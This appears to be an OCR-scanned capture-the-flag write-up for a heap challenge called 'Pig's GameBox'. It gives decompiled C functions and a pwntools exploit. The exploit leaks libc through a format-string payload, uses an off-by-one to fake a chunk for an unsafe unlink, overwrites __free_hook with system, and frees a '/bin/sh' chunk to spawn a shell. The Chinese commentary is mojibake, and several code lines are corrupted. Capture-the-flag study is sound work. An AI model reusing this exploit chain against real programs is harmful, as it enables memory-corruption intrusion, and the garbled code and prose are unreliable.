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A = malloc(0x18);
B = malloc(0x18);
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unlink#&/E 41T

FD = P->fd;

BK = P->bk;

FD->bk = BK;

BK->fd = FD;
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unsigned __ int64 menu()

{

unsigned __ int64 vO0; // ST08 8

v0 = readfsqword(0x28u);

puts("Welcome to Pig's GameBox!");

puts("(P)lay GUESS WORDS");

puts("(S)how RANK");

puts("(D)elete RANK");

puts("(C)hange RANK");

puts("(E)xit");

return __readfsqword(0x28u) * vO;

}
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Play: Zaid—A~cookiefilE, X B ] LA pythonH ctypesE Seidt
for (i=0;i<=23; ++i)

sO[i] = rand() % 26 + 'A;

puts("Come on boy!Guess what | write:");

for (j=0;j<=31; +4j)

{

read(0, &buf, 1uLL);

if (buf <="'@'|| buf>'Z")

break;

s1[j] = buf;

}

if ( !strcmp(s1, s0) )



{

puts("You great prophet!");

realgame(s0);

}
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Show: ¥t B % [ BT LAchunk$ Biname T E Hi 3k
for (i=0;i<=9; ++i)

{

if (*(&rank_ptr + 6 *i))

{

putchar(i + '0");

putchar(":");

printf(*(&rank_ptr + 6 * i));

}

}
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Delete:##5 5€ ffichunk freeds, 317 — R I B OEAE
if ( 'memcmp(cookie, &my _cookie[48 * id], 8uLL) )
{

free(*(&rank_ptr + 6 * id));

*(&rank_ptr + 6 * id) = OLL;

size_rank_the[12 *id] = 0;

memset(&my_cookie[48 * id], 0, 0x20uLL);



puts("Deleted!");
}
Change: St#&EMichunk E5, fFEfEoff-by-onel§ifl, TI¥ T —A chunkiIsizef 5 —F i & 35 H0x00

v10 = *(&rank_ptr + 6 * id); /I off-by-one

for (1= 0; size_rank_the[12 *id] >=1 && (V5 !=1|| s[i] !="'n" && s[i] |="'N"); ++i )
{

if ( s[i] == 0x25)

v =1;

*(i + v10) = s]i];

}

puts("Changed OK!");

memset(s, 0, (size_rank_the[12 * id] + 10));
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data0 = play(0x120,'%13$IxAAAA%15$IxBBBB%93IX) #0
Show()

libc_start_main = libc.symbols['__libc_start_main’]
io.recvuntil('0:")

data = int(io.recv(12),16) #__libc_start_main+FO
io.recvuntil('BBBB'#main+61

data2 = int(io.recv(12),16)

main = 0x0000000000001874

base = data2 - main - 0x61

libc_base = data - libc.symbols['__libc_start_main] - OxFO
system_addr = libc_base + system_libc

free_hook addr = libc_base + free_hook
success('base:'+hex(base))
success('libc_base:'+hex(libc_base))

success('system_addr:'+hex(system_addr))



success('free_hook_addr:'+hex(free_hook_addr))
2.off-by-one

Je BTG =M R

data1 = play(0x108,'aaa’) #1

data2 = play(0x120,'aaa’) #2

data3 = play(0x120,'/bin/sh\x00") #3
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‘/bin/sh\x00’

£ E 3 4 B chunk 1,78 L) off-by-one¥i chunk 2 size 2 30x100
rank_ptr = 0x0000000000203100

ptr = rank_ptr + 0x30

buf = p64(0)+p64(0x101)

buf += p64(base+ptr-0x18)+p64(base+ptr-0x10)+'a"“0xe0+p64(0x100)
Change(1,data1,buf)
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Ffree chunk2
Delete(2,data2)
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buf2 = 'a"*24 + p64(free_hook_addr)

Change(1,data1,buf2)
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Change(1,data1,p64(system_addr))
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3.get shell

BATZ AT HE T — PP RIEEE F 55 bin/sh\x00", KA Ifree®, #iAH 2 T 4Tsystem(/bin/sh’) T, get shell.
Delete(3,data3)
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